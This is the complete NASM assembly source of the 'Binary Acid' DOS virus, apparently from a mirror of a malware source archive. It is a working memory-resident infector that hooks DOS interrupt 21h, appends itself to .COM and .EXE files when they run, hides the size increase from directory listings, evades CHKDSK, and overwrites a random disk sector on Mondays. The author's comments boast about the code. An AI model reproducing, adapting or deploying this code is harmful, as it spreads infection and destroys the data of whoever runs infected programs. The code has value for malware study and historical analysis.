mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
358 lines
12 KiB
NASM
358 lines
12 KiB
NASM
;Binary Acid Virus
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;by Evil Avatar
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;Another lame virus by me. Then again, not bad for my second virus!
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;This is a resident .COM/.EXE/.OV? infector that infects on file runs.
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;It does hide the size change AND avoids CHKDSK and its ilk.
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;Plenty more from me to come. Stay tuned.
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.model tiny ;if you are lost already, you
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.code ;shouldn't be playing with viruses
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org 0h
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v_mem equ (v_end-Acid+15)/16+1
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v_word equ (v_end-Acid)/2
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id equ 0a0ffh
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v_file equ (heap-Acid)
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Acid: call next
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next: pop bp
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sub bp, offset next ;get delta offset
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mov ax, id
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sub bx, bx
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int 21h ;residentcy install check
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push es ;save PSP segment
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cmp bx, id ;are we here already?
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je check ;then exit
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mov ax, 3521h
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int 21h ;get int 21h vector
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mov word ptr [bp+save_21], bx
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mov word ptr [bp+save_21+2], es ;save int 21h vector
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mov ax, ds ;ds=PSP segment
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dec ax ;ax=MCB segment
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mov es, ax ;es=MCB segment
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cmp byte ptr es:[0], 'Z' ;is it last MCB in chain?
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jne done ;no? exit
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sub word ptr es:[3], v_mem ;allocate memory for virus
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sub word ptr es:[12h], v_mem ;change TOM field in PSP
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mov ax, es:[12h] ;find virus MCB segment
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mov es, ax ;es=virus MCB segment
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mov byte ptr es:[0], 'Z' ;mark as last in MCB chain
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mov word ptr es:[1], 8 ;DOS now owns this
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mov word ptr es:[3], v_mem-1 ;set the size of segment
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inc ax ;ax=virus segment
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mov es, ax ;es=virus segment
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lea si, [bp+offset Acid] ;start of virus
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sub di, di ;clear di
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mov cx, v_word ;virus size in words
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rep movsw ;copy virus to TOM
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push es
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pop ds ;put segment in ds
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mov ax, 2521h
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mov dx, offset int21
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int 21h ;set new int 21h vector in virus
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check: pop es ;restore es
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mov ah, 2ah
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int 21h ;get date
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cmp al, 1 ;is it a monday?
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je destroy ;chew a sector
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return:
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cmp sp, 0abcdh ;is this an .exe file?
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jne done ;no? restore com stuff
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push es
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pop ds
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mov ax, es ;ax=PSP segment
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add ax, 10h ;adjust for PSP size
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add word ptr cs:[bp+comsave+2], ax ;set up cs
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add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss
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cli ;clear ints for stack manipulation
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mov ss, ax ;set ss
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mov sp, word ptr [bp+_ss_sp] ;set sp
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sti ;restore ints
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db 0eah ;jump to old program
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comsave db 0cdh, 20h, 0, 0
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destroy:
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in al, 40h
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xchg al, ah
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in al, 40h ;get a random number
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xchg ax, dx
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mov cx, 1
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mov ax, 2
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int 26h ;and crunch that sector
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jmp return ;return to program
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done: push cs
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pop ds ;ds=cs
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push cs
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pop es ;es=cs
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mov di, 100h ;beginning of program
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push di ;for later return
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lea si, [bp+comsave] ;first 3 bytes of program
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movsb
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movsw ;restore first 3 bytes
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ret ;return to program
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int21: cmp ax, id ;is this an installation check?
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je vcheck ;yes? tell 'em we're here
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push bx
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push cx
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push si
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push di
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push es
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push dx
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push ds ;save regs
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push ax
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cmp ah, 4bh ;hmm..execute huh? well, they
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je v_com ;did it to themselves
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cmp ah, 11h ;dir check
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je dirfix
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cmp ah, 12h ;dir check
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je dirfix
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pop ax
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pop ds
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pop dx
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intpop: pop es
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pop di
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pop si
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pop cx
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pop bx ;restore regs
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jmp dword ptr cs:[save_21] ;jump to DOS int 21h
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vcheck: xchg ax, bx ;put ID into bx
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iret
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dirfix: pushf
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call dword ptr cs:save_21 ;simulate int 21h call
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mov word ptr cs:[buffer], ax ;save return
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push ax
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push si
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pushf ;save the new flags
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mov si, sp
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mov ax, [si] ;get new flags
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mov [si+10], ax ;put them where old flags are
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popf
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pop si
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pop ax
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test al, al ;see if file is found
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jnz nofile ;if none, exit
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mov ah, 51h
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int 21h ;get PSP segment
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mov es, bx
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cmp bx, es:[16h] ;is it DOS?
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jne nofile ;no? avoid CHKDSK
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mov ah, 2fh
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int 21h ;get DTA in es:bx
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cmp byte ptr ds:[bx], -1 ;is it extended FCB?
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jne cont
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add bx, 7 ;then add 7 to pointer
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cont: mov cx, ds:[bx+17h] ;get time
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and cx, 1fh ;get seconds
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cmp cx, 1fh ;if not 62 secs then exit
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jne nofile
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sub ds:[bx+1dh], v_file
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sbb word ptr ds:[bx+1fh], 0 ;subtract virus size
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nofile: pop ax ;if you can read this
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pop ds ;you don't need glasses
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pop dx
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pop es
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pop di
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pop si
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pop cx
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pop bx ;restore regs
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mov ax, word ptr cs:[buffer] ;restore return type
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iret
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v_com: push ds
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push dx
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push cs
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pop ds
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mov ax, 3524h
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int 21h ;get critical error handler
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mov word ptr [save_24], bx
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mov word ptr [save_24+2], es ;save it
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mov ax, 2524h
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mov dx, offset int24
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int 21h ;set new critical error handler
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pop dx
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pop ds
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push cs
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pop es
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mov ax, 4300h
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int 21h ;get attributes of file
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push cx ;save attributes
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mov ax, 4301h
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sub cx, cx
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int 21h ;clear attributes
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jc booster
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mov ax, 3d02h
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int 21h ;open file
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xchg ax, bx ;put handle in bx
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push cs
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pop ds ;ds=cs for all references
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jmp past_booster
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booster: ;i hate having to use these
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pop cx
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pop ax
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pop ds
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pop dx
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push ax
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jmp bad_file
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text db 'KW' ;you'll never guess
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past_booster:
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mov ah, 3fh
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mov cx, 1ah
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mov dx, offset buffer
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int 21h ;read first 1ah bytes
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mov ax, 5700h
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int 21h ;get file time and date
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mov word ptr [time], cx ;save time
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mov word ptr [date], dx ;save date
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and cx, 1fh ;get seconds
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cmp cx, 1fh ;is it 62 secs?
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je close ;already infected
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cmp word ptr [buffer], 'ZM'
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je v_exe
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cmp word ptr [buffer], 'MZ'
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je v_exe ;if .exe file then infect it
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mov si, offset buffer
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mov di, offset comsave
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movsb
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movsw ;move combytes to comsave
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mov ax, 4202h
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sub cx, cx
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cwd
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int 21h ;move pointer to EOF
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sub ax, 3
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mov byte ptr [buffer], 0e9h
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mov word ptr [buffer+1], ax ;set up jump
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write_virus:
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mov ah, 40h
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mov cx, v_file
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cwd
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int 21h ;write virus to EOF
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mov ax, 4200h
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sub cx, cx
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int 21h ;go to beginning of file
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mov ah, 40h
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mov cx, 1ah ;restore buffer size
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mov dx, offset buffer
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int 21h ;write header or jump
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sign: mov ax, 5701h
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mov cx, word ptr [time] ;get time
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or cx, 1fh ;set seconds to 62
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mov dx, word ptr [date] ;get date
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int 21h ;set file time and date
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close: mov ah, 3eh
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int 21h ;close file
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pop cx ;get attributes
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pop ax
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pop ds
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pop dx ;get file name
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push ax
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mov ax, 4301h
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int 21h ;restore attributes
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bad_file:
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push ds
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push dx
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mov ax, 2524h
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lds dx, dword ptr cs:[save_24]
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int 21h ;restore old int 24h
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pop dx
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pop ds
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pop ax
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jmp intpop ;return to caller
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v_exe: push bx
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les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax
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mov word ptr [comsave], ax ;save ip
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mov word ptr [comsave+2], es ;save cs
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les ax, dword ptr [buffer+0eh] ;get ss:sp
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mov word ptr [_ss_sp], es ;save sp
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mov word ptr [_ss_sp+2], ax ;save ss
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add word ptr [buffer+0ah], v_mem ;set new minimum memory requested
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mov ax, word ptr [buffer+8] ;get header size
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mov cl, 10h
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mul cl ;change to bytes
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push ax ;save it
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mov ax, 4202h
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sub cx, cx
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cwd ;move file pointer to EOF
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int 21h ;and get file size in dx:ax
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pop cx ;restore header size
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push dx
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push ax ;save file size
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sub ax, cx
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sbb dx, 0 ;get new cs:ip
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mov word ptr [buffer+16h], dx ;save cs
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mov word ptr [buffer+14h], ax ;save ip
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mov word ptr [buffer+0eh], dx ;save ss
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mov word ptr [buffer+10h], 0abcdh ;save sp
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pop ax
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pop dx ;get file size
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add ax, (v_end-Acid)
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adc dx, 0 ;add virus size
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mov cx, 200h
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div cx ;convert to pages
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push ax ;save it
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or dx, dx ;is there a remainder?
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je remainder ;yes? increment number of pages
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inc ax
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remainder:
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mov word ptr [buffer+4], ax ;save number of pages
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pop ax
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and ah, 1
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mov word ptr [buffer+2], ax ;file size MOD 512
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pop bx
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jmp write_virus
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int24: mov al, 3 ;fail the call
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iret
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vname db '[Binary Acid]', 0 ;do you need this explained???
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author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!)
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_ss_sp dd ? ;stack pointer
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heap: ;variables
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save_21 dd ? ;int 21h entry
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save_24 dd ? ;int 24h entry
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time dw ? ;file time
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date dw ? ;file date
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buffer db 1ah dup (?) ;buffer
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v_end:
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end Acid
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